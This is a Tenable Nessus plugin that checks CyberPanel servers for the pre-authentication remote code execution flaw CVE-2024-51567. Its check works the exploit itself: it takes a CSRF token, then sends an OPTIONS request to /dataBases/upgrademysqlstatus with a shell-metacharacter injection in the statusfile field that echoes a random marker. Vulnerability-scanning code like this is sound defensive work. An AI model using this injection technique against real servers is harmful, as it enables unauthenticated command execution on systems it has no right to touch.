CyberPanel < 2.3.8 RCE Direct Check (CVE-2024-51567)

#%NASL_MIN_LEVEL 80900
##
# (C) Tenable, Inc.
##

include('compat.inc');

if (description)
{
  script_id(267930);
  script_version("1.2");
  script_set_attribute(attribute:"plugin_modification_date", value:"2025/10/08");

  script_cve_id("CVE-2024-51567");
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2024/11/28");

  script_name(english:"CyberPanel < 2.3.8 RCE Direct Check (CVE-2024-51567)");

  script_set_attribute(attribute:"synopsis", value:
"CyberPanel is affected by a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The CyberPanel installed on the remote host is affected by a remote code execution vulnerability. upgrademysqlstatus in
databases/views.py in CyberPanel (aka Cyber Panel) before 5b08cd6 allows remote attackers to bypass authentication and
execute arbitrary commands via /dataBases/upgrademysqlstatus by bypassing secMiddleware (which is only for a POST
request) and using shell metacharacters in the statusfile property, as exploited in the wild in October 2024 by PSAUX.
Versions through 2.3.6 and (unpatched) 2.3.7 are affected.");
  script_set_attribute(attribute:"see_also", value:"https://cyberpanel.net/KnowledgeBase/home/change-logs/");
  # https://cyberpanel.net/blog/detials-and-fix-of-recent-security-issue-and-patch-of-cyberpanel
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?b8de38a7");
  # https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?29a8cac3");
  script_set_attribute(attribute:"solution", value:
"Update CyberPanel to version 2.3.8 or apply patch");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2024-51567");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'CyberPanel Multi CVE Pre-auth RCE');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2024/10/27");
  script_set_attribute(attribute:"patch_publication_date", value:"2024/10/29");
  script_set_attribute(attribute:"plugin_publication_date", value:"2025/10/07");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:cyberpanel:cyberpanel");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2025 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_require_ports("Services/www");

  exit(0);
}

include('http.inc');

var port = get_http_port(default:8090);

var res = http1::get_response(
  method      : 'GET',
  item        : '/',
  port        : port,
  follow_redirect: 1
);

if ('CyberPanel' >!< res[2])
  audit(AUDIT_HOST_NOT, 'CyberPanel');

dbg::detailed_log(lvl:1, src:SCRIPT_NAME,
  msg:'CSRF Request/Response',
  msg_details:{
    'Last request':{'lvl':2, 'value':http::get_last_request()},
    'Response':{'lvl':2, 'value':res}
  });

var csrftoken_match = pregmatch(string:res[3], pattern:"csrftoken=([1-9A-Za-z]+)");
if (empty_or_null(csrftoken_match))
  audit(AUDIT_HOST_NOT, 'an affected CyberPanel');

var csrftoken = csrftoken_match[1];
dbg::detailed_log(lvl:1, msg:'csrftoken: ' + csrftoken);

var headers = make_array(
  'Referer', get_host_ip(),
  'Content-Type', 'application/json',
  'X-CSRFToken', csrftoken
);

var randstr = 'nessus_' + rand_str(length:15, charset:"abcdefghijklmnopqrstuvwxyz");

var payload = '{"statusfile": "; echo ' + randstr + '; #"}';

res = http1::get_response(
  method      : 'OPTIONS',
  item        : '/dataBases/upgrademysqlstatus',
  port        : port,
  follow_redirect: 1,
  add_headers : headers,
  data: payload
);

dbg::detailed_log(lvl:1, src:SCRIPT_NAME,
  msg:'Exploit Request/Response',
  msg_details:{
    'Last request':{'lvl':2, 'value':http::get_last_request()},
    'Response':{'lvl':2, 'value':res}
});


if (randstr >< res[2])
  security_report_v4(port:port, severity:SECURITY_HOLE, request:[http::get_last_request()], output:res[2], generic:true);
else
  audit(AUDIT_HOST_NOT, 'a vulnerable CyberPanel');